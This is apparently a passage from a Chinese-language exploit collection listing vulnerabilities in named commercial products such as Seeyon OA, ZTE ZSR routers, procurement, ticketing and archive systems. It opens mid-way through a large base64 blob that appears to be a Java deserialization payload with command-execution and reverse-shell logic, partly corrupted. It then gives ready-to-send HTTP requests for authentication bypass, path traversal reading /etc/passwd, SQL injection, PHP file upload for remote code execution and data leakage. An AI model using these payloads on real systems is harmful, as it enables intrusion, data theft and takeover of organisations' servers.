QVFBRWQzSmhjQXdCTkFFMUJ3RTJBUUFBREFFM0FUZ0JBQkJqYjIxdFlXNWtJRzV2ZENCdWRXeHNEQUU1Q
VJFQkFBVWpJeU1qSXd3Qk9nRTdEQUU4QVQwQkFBRTZEQUUrQVQ4QkFDSmpiMjF0WVc1a0lISmxkbVZ5YzJ
JVZ2FHOXpkQ0JtYjNKdFlYUWdaWEp5YjNJaERBRkFBVUVNQUkwQWpnRUFCVUJBUVVCQURBQ01BSXNCQUF
kdmN5NXVZVzFsQndGQ0RBRkRBSXNNQVVRQkVRRUFBM2RwYmdFQUJIQnBibWNCQUFJdGJnRUFGbXBoZG1F

```
dmJHRnVaeTlUZEhKcGJtZENkV1ptWlhJTUFVVUJSZ0VBQlNBdGJpQTBEQUZIQVJFQkFBSXZZd0VBQlNBd
GRDQTBBUUFDYzJnQkFBSXRZd2NCU0F3QlNRRktEQUNNQVVzQkFCRnFZWFpoTDNWMGFXd3ZVMk5oYm01bG
NnY0JUQXdCVFFGT0RBQ0RBVThCQUFKY1lRd0JVQUZSREFGU0FWTU1BVlFCRVF3QlZRRk9EQUZXQUlRQkF
BY3ZZbWx1TDNOb0FRQUhZMjFrTG1WNFpRd0FqQUZYQVFBUGFtRjJZUzl1WlhRdlUyOWphMlYwREFGWUFFT
WU1BSU1CV1F3QldnRmJEQUZjQVZNSEFWME1BVjRCQ2Md3Qlh3RW1Cd0ZnREFGaEFFUQU1BV0lBaEF3Qll3R
mtEQUZsQVNZTUFXWUFoQUVBSFhKbGRtVnljMlVnWlhobFkzVjBaU0JsY25KdmNpd2diWE5uSUMwK0FRQU
JJUUVBRTNKbGRtVnljMlVnWlhobFkzVjBaU0J2YXlFQkFBSkJOQUVBQjJadmNrNWhiV1V1VCQUFwblpYUk5
aWE56WVdkbEFRQVVLQ2xNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUJVb1RHcGhkbUV2YkdGdVp5OVRk
SEpwWm1jN0tWWUJBQkJxWVhhaEwyeeGhibWN2VkdoeVpXRmtBUUFOWTNWeWNtVnVkVRlJvY21WaFpwBRUFGQ
2dwVEdwaGRtRXZZiR0Z1Wnk5VWFISmxZV1E3QVFBT1oyVjBWR2h5WldGa1IzSnZkWEFCQUJrb0tVeHFZWF
poTDJ4aGJtY3ZWR2h5WldGa1IzSnZkWEE3QVFBBSVoyVjBRMnhoYzNNQkFCTW9LVXhxWVhhaEwyeeGhibWN
2UTJ4aGMzTTdBUUFRWjJWMFJHVmpiR0Z5WldSR2FXVnNaQUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1
WnpzcFRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrT3dFQUYycGhkbUV2YkdGdVp5OXlaV1pzW
ldOMEwwWnBaV3hrQVFBTmMyVjBRV05qWlhOemFXSnNaUUVBQkNoYUtWWUJBQU5uWlhRQkFDWW9UR3BoZG
1FdmJHRnVaVaeTlQWW1wbFkzUTdLVXhhWVhhaEwyeeGhibWN2VDJKcVpXTjBPd0VBQjJkbGRFNWhiV1VCQUF
oamIyNTBZV2x1YzdBUUd5aE1hbUYyWVM5c1lXNW5MMME5vWVhKVFpYRjFaVzVqWlhBcFdnRdnRUFEEV2RsZEZO
MWNHVnlZMnhoYzNNQkFBUnphWHBsQVFBREtEbEpBUUFWS0NnSFhXV1ZaMkhNNkhoYzNNQkFBRFdZNVBBWU
0FRQUpaMlYwVFdGdWFIOWtBUUJBS0V4cVlYaFlWWmhMMmhoMm1jdlUzUnlhVzVuTzFGOTWFtRjJZUzlzWVc1bk
wwTnNZWE56T3lsaFpTbFZYU0VkblVSRmdXRGllOHdSQUZTSGRGZ0RJeVdhZ1VQZVByYlFvWGdSUT3dFQUdHcGhkbUV2Y
5OXlaV1pzWldOMEwwMWxkR2h2WkFFQUJtbHVkbTlyWlFFQU9TaE1hbUYyWVM5c1lXNW5MMDlpYW1WamRE
dGJUUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdLVXhhWVhhaEwyeeGhibWN2VDJKcVpXTjBPd0VBQ0dkbGRFS
jVkR1Z6QVFBBRUtDbGJRZ0VBQkZSSWlVFVUJBQVFvU1NsV0FRQUxlbVYYzU1c1emRHRnVZZMlVCQUJRb0tVeH
FZWFpoTDJ4aGJtY3ZTUMkpxWldOME93RUFFV2RsZEVSbFkyeGhjbVZrVFdWMGFHOWtBUUFWWjJWMFEyOXV
kR1Y0ZEVOc1lYTnpURzlwWkdWeUFRQVpLQ2xNYW1GMllTOXNZVzVuTDBOc1lYTnpURzlwWkdWeU93RUFG
V3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUJtVnhkV0ZzY3dFQUZTaE1hbUYyWVM5c1lXNW5MMM
DlpYW1WamREc3BXZ0VBQkhSeWFXFXMEJBQXB6ZEdGeWRITlhhWFJvQVFBBVktFeHFZWFpoTDJ4aGJtY3ZVM1
J5YVc1bk95bGFBUUFIY21Wd2JHRmpaUUVBUkNoTWFtRjJZUzlzWVc1bkwyTm9ZWEpUWlhGMVpXNWpaVHhR
NYW1GMllTOXNZVzVuTDBOb1lYSlRaWEYxWlc1alpUc3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFG
YzNCc2FYUUJBQ2NvVEdwaGRtRXZZiR0Z1Wnk5VGRISnBibWM3S1Z0TWFtRjJZUzlzWVc1bkwxTjBjbWx1W
npzQkFBZDJZV3gxWlU5bUFRQW5LRXhxWVhhaEwyeeGhibWN2VTNSeWFXNW5PeWxNYW1GMllTOXNZVzVuTD
BsdWRHVm5aWEk3QVFBBUWFtRjJZUzlzYW5nMkxXc1bkwxTjVjM1JsYlFFQUMyWjJWMGNGcm9wZXJ0eVVBQUFMMZEc
5TWIzZGxja0ja05oYzJJVQkFBWmhjSEJsYm1RQkFDd29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVXhhWVha
aEwyeeGhibWN2VTNSeWFXNW5RblZtWm1WeU93RUFDSFJ2VTNSeWFXNW5BUUFSYW1GMllTOXNZVzVuTDFKM
WJuUnBiV1V1VCQUFwblpYUlNkV1NsbEdWWVVkxbEFRQVZLQ2xNYW1GMllTOXNZVzVuTDFKMWJuUnBiV1U3QVFBb0
tGdE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlRY205alpYTnpPd0VBRVdwaGR
tRXZZiR0Z1Wnk5UWNtOWpaWE56QVFBT1oyVjBWR2hTmxZVzBCQUJjb0tVeHFZWFpoTDJsdkwwbHVjSFYwVTN
SeVpXRnRPd0VBRHNNoTWFtRjJZUzlzWW5k5SmJuQjFkRk4wY21WaGJTa3BWZ0VBREhWelpXRkpsYWmJ1QjFkR
mxiR2xuOTVSbGJGNnRUQUFKZWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaelZoVEdwaGRtRXZZiR0ZGdWFuQ1
VibVZ5T3dFQUIyaGhjMDVsZUhRQkFBTW9LVm9CQUFSdVpYaDBBQUFBQVNhbGtaUFdWWUpDRkNTFlXTU1M
BQWRrWWhOMGNtTnZZWE5yZUVCQlVGWldwbWxlUHdoQVFGWk05QUFBUm9iVUFVSFtTNHZCVlpqUVVCQnVjZUFQ
AbHVldaTmxUVXNnNjNHWWZFQlNlZ0FBQ0NJQ0x3N1lhazVJbzZYS0djVjBBQUNhSmE0NDNUd1Jt
NHhqT0dOUGxpU0FWR1BiWVk0V0VZWVd4MThYOWFtM0FEUUdRcUZYYkVIN0NHbmhlNWZ0MEdrWlBXaFBUQ
ZWE1tVExRUZFalc1dUJKQUxpWVBlNEJVMTlRVlB6bVFJZUZEUlVLVFBaMWZTQU1BQUFBQUVZVEdWSkxDaW
RBRFRsUkVKNUFyY1dNcVFoL3BiY2pSYUUyM1VoRkZSWkNoYUxMUFVzNndaaE1XMFVtNDREdFFQNE5YQW
pUcjZEa1BZYzVYVG5BMjlKZGM1WXdWQWpkMXlqMGx1eVZFcXBUUFdvV0M2QkFQNDRsRlZWNnRYaEdQ
```

```
TWkzQUM5VHRnQWpWeW9TTUxZQU1Ub1BHUSsyQURJNkJ4a1BFak1HdlFBZ1dRT3lBRFRIQUE4UO5iZ0FKM
W16QURTbkFBYXlBRFJUV1FTeUFDMVRXUVd5QUMxVHRnQTJHUWNHdlFBaVdRTVpEbE5aQkxzQUxsa0R0d0
F2VTFrRnV3QXVXUmtPdnJjQUwxTzJBQ05YR1F5MkFBa1NOd1M5QUNCWkF4a1BVN1lBSVJrTUJMMEFJbGt
ER1FkVHRnQWpWNmNBWWpvUEtoSTVOZ0F4T2hBWkVCSTZCTDBBSUZrRHNnQTB4d0FQRWpXNEFDZFpzd0Ew
cHdBR3NnQTBVN1lBTmhrUUJMMEFJbGtER1E1VHRnQWpPZ2NaRExZQUNSSTNCTDBBSUZrREdSQlR0Z0FoR
1F3RXZRQWlXUU1aQjFPMkFDTlhhd0FYaEFFFrQnAvNVNwd0FJT2dhbkFBT0VCQUduL1Z5eEFBZ0Fsd0NpQU
tVQUZ3REZBTk1BMWdBWEFkQUNNd0phQURnQU5nQTdBc1VBT0FGa0ON4UUE0QUZ3QWZBTEZBRGdBZnd
LNUFzVUFPQUs4QXNJQ3hRQTRBQUVBaGdBQUFPNEFPd0FBQUEwQUJBQU9BQXNBRHdBVkFCQUFHZ0FSQUNZ
QUV3QXdBQlFBTmdBV0FFNEFGd0JGQUJnQVhBQVpBR2NBR2dCcC0FCc0FkQUFjQUg4QUhRQ0tBQjRBandBZ
kFKY0FJUUNpQUNRQXBRQWlBS2NBSXdDNEFDVUF2UUFtQU1VQUtBRFRBQ3NBMWdBcEFOZ0FLZ0RqQUN3QT
ZBQXRBUEFBTGdEN0FDOEJBQUF3QVE0QU1RRWRBRElCS0FBekFUUFOQUU0QURVQlFBQTJBVmtBTndHU0F
EZ0Jsd0E1QVpvQU93R2xBRHdCMEFBK0FkZ0FQd0hmQUVBQ05RQkJBbGNBUmdKYUFFSUNNYQUJEQW1RQVJB
S1hBRVVDdVFCSEFydDFNUUxDQUVzQ3hRQkpBc2NBU2dMNS0FCTUMwQUJOQUljQUFBQUVBQUVBQUVBVBT0FBQkFJZ
0FpUUFDQUlVQUFBQTVBQUlBQXdBQUFCRXJ1QUFCc0UySNEFBZTJBRHNydGdGdBOHNBQUJBQUFBQkFBQkFBQkFBBQkFFBRkFBSU
FBUUNHQUFBQURnQURBQUFBBVndBRkFGZ0FCZ0JaQUljQUFBQVVBQUVBQUVBQWdBQkFJb0FpZ0FCQUlVQUFBQ1B
BQVFBQXdBQUFGY3J4Z0FNRWowcnRnQSttUUFHRWord0s3WUFRRXdyRWtHMkFFS1pBQ2dyRWtFU1BiWUFR
eEpFdGdCRlRTZStTCWjhBQmhKR3NDb3NBeklzZQkRLNEFFZTJBRWl3S2lzZU1FSSTlOZ0JERWtrU1BiWUFRN
1lBU3JBQUFBQUJBSVlBQUFBbUFBa0FBQUJqQUEwQVpBQVFBR1lBRlFCbkFCNEFhUUFzQUdvQU1nQnJBRF
VBYlFCREFEHOEFBUUNNQUlzQUFRQ0ZBQUFCeWdBRUFBa0FBQUVxRWt1NEFFFeTJBRTFOSzdZQVFFFd0JUZ0U
2QkN3U1RyWUFFWmtBUUNzU1Q3WUFFWmtBSUNzU1VMWUFFWm9BRjdzQVVWbTNBRkl5dGdCVEVsSzJBRk8y
QUZWTUJyMEFLVmtERWloVFdRUVNNbE5WE9uU25BRDByRWsrMkFCR1pBQ0FyRWxDMkFCR2FBQmU3QVE
UZGWnR3QlNLN1lBVXhKWHRnQlR0Z0JWEFhOUFDbFpBeEpZVTFrRXJUVsbFRXUVVyVXpvRXVBQmFHHUVMyQU
ZOT3V3QmNXUXUzQUYyM0FGNFNKN1lBWURvRkdSVzJBBR0daQUFzWkJiQWZTQlNBQUVPMAQUFTWkJiWUFJ
ZQVk3Y0FFYXBmdGdCZ09nVzdBRkZaOWdWzdBRkZhdGdHdGdCU0d0ZRUZWTVRVTlTNBRkZ1aQmJZQVlhaQUFYZ
MkFGVTZCaGtHT2djdjdHhnQUhMYllBbWkJrSHNEb0ZHUVcyQUdVTGYQUhRNkpNMGdBQWNOd0dkCaE0dRYXdPZ2dkMGUdBS
ExiWUFaQmtJdndBRUFFKTUEvZ0VKQURnQWt3RCtBUjBBQUFFFSkFFSSUJIUUFBQVIwQkh3RWRBQUFBQVZFBGRDRQ
FBQUFiZ0FiQUFBQWN3QUpBSFFBRGdDMUFCQUFkZ0FFUQhqQUhBQjRBQzRFFCQ0FIc0FFXUUI5QUdGdzQWZ
nQi9BSUFBa3dEREFKd0FoQUN1QUlVQXdnQ0dBTlFBaHdENkFJZ0FEvZ0NNQVFJQWpRRUdBSWdDQ1FDSkFR
c0FFpZ0VTVQUl3QkZnQ05BUm9BaWdFZEFJd0JJd0NOQUFFFQWpRQ09BQUVBaFFBQUFFZTUFCQUFNQUFBQTh4NS
kx1QUJNdGdCTkVrVrNjJBQkdkhQUJDN0FDbFpbWEzQUdkT3B3QU51d0FwV1JKb3R3Qm5UcmdBV2kyMkFHaz
ZCSTlNBYWxrckxrMWFhNN2NBYkRvRkdRUzJBR1JVb0lHhUVMyQUcHONkNSa0Z
0Z0J2T2dvWkJiWUFjSm9BWUJrR3R3QnhuZ0FFRR1FvWkJyWUFjclllBYZmZmLzdoa0h0Z0J4bmdBUUdRb1pC
N1lBY3JZQWM2Zi83aGtJdGdCeG5nVFHUWtaQ0xZQUNyWUFjNmYvN2hrS3RnQjBHHUW0yQUhRVUFIVnzRBS
GNaQkxZQWVGZW5BQWc2QzZmdGlrR0RCNkZMW0o2ZEtwQ0lBS0I6mbSkFJ1MvTmFZSJIDQ1L
lBVXhKOHRnQl0Z0JWc0JKOXNBQUNNBTGdBdmdEQkFFZ0FBQURRQU5QQU9BQUlBBSVlBQUFCdUJCdUFCQ0FBQUN
iQUJBQW5BQWBSSjdRBndDZ0FFQUFWVUVrQUtJQVVVV3Q2pBR0VCcEFCRFCLVUFjUVNtQUlUQ0FRXFBUQ0dBS2tB
a3dDbkFFFyQUNvQUs0QXJRQ3ZBTEFBSUF2Z0OTZQU1FQXRBRUBRVEVBWeGdDMEFOcTBGNQQUZF
UxzQTB3QzVBTlB3ZEd0FMd0FEQUNQQUlrQUFnQ2QBQEFBVFdSBREFBSUFBQUFTM0JnQUFpQk11dDBFEV1
N1MkFBUzNBQVcvQUFFQUFBQUVBQVVBUWdBQkFKWUFBQUHQUFFQUFBQTNBSVVBBQUFBQUFBRUFrQUFBQUF
JQWtRPTOiOwpjbHogPSBkZWZpbmVDbGFzcyhiYXNlNjREZWNvZGVUb0J5dGUoY29kZSkpOwpjbHoubmV3
SW5zdGFuY2UoKTt0AARldmFsdXEAfgAbAAAAAXEAfgAjc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWY
NEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=)}}
```

致远 OA thirdpartyController 接口身份鉴别绕过漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/seeyon/thirdpartyController.do
- 漏洞详情：

```
POST /seeyon/thirdpartyController.do?method=access HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept-Encoding: deflate
Content-Type: application/x-www-form-urlencoded

method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4
```

智互联

智互联(深圳)科技有限公司SRM智联云采系统download存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/adpweb/static/%2e%2e;/a/sys/runtimeLog/download
- 漏洞详情：

```
GET /adpweb/static/%2e%2e;/a/sys/runtimeLog/download?path=c:\\windows\win.ini HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

中成科信

中成科信票务管理系统 SeatMapHandler.ashx SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/SystemManager/Comm/SeatMapHandler.ashx
- 漏洞详情：

```
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded

Method=GetZoneInfo&solutionNo=%27+AND+7821+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%2
8107%29%2BCHAR%28122%29%2BCHAR%28118%29%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+
%287821%3D7821%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29%2BCHAR%28113%29%2
BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28107%29%2BCHAR%28113%29%29%29--+Vjyh
```

中兴

中兴 ZTE ZSR V2 系列多业务路由器漏洞 任意文件读取漏洞

- 漏洞类型：1day - 任意文件读取
- 涉及版本：未知
- 利用路径：/css//../../../../../../../../etc/passwd
- 漏洞详情：

```
GET /css//../../../../../../../../etc/passwd
```

众合百易

湖南众合百易信息技术有限公司 资产管理运营系统 comfileup.php 前台文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/comfileup.php
- 漏洞详情：

```
POST /comfileup.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0)Gecko/20100101
Firefox/127.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
p,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: cna=JtMCH7NgWFYCAXBg5XNzopCe
Upgrade-Insecure-Requests: 1
```

```
Priority: u=1
Content-Type: multipart/form-data; boundary=--------1110146050
Content-Length: 117

----------1110146050
Content-Disposition: form-data; name="file";filename="test.php"

test
----------1110146050--
```

竹云

竹云 信息泄露

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/admin-api/oauth/../admin/user/findlist
- 漏洞详情：

```
POST /admin-api/oauth/../admin/user/findlist
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept-Encoding:gzip, deflate
Accept-Language:en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection:close
{"pagesize":改个数,"pageNumber":改个数,"userName":""}
```

资管云

资管云-任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/comfileup.php
- 漏洞详情：

```
POST /comfileup.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0)Gecko/20100101
Firefox/127.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
p,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: cna=JtMCH7NgWFYCAXBg5XNzopCe
Upgrade-Insecure-Requests: 1
Priority: u=1
```

```
Content-Type: multipart/form-data; boundary=--------1110146050
Content-Length: 117

----------1110146050
Content-Disposition: form-data; name="file";filename="test.php"

test
----------1110146050--
```

梓川

苏州梓川信息PEPM系统反序列化漏洞

- 漏洞类型：0day - RCE
- 涉及版本：< V6.7.3.20240507.Release
- 利用路径：/
- 漏洞详情：

```
POST / HTTP/1.1
Host:
Cookie: auth=序列化数据
```

紫光

紫光-电子档案管理系统-PermissionAC

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/Archive/ErecordOffice/openOfficeFile
- 漏洞详情：

```
/Archive/ErecordOffice/openOfficeFile
```

紫光电子档案管理系统 selectFileRemote SQL 注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/Archive/ErecordManage/selectFileRemote
- 漏洞详情：

```
POST /Archive/ErecordManage/selectFileRemote HTTP/1.1
Host: {{Hostname}}
Accept: */* Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
userID=admin&fondsid=1&comid=1'
```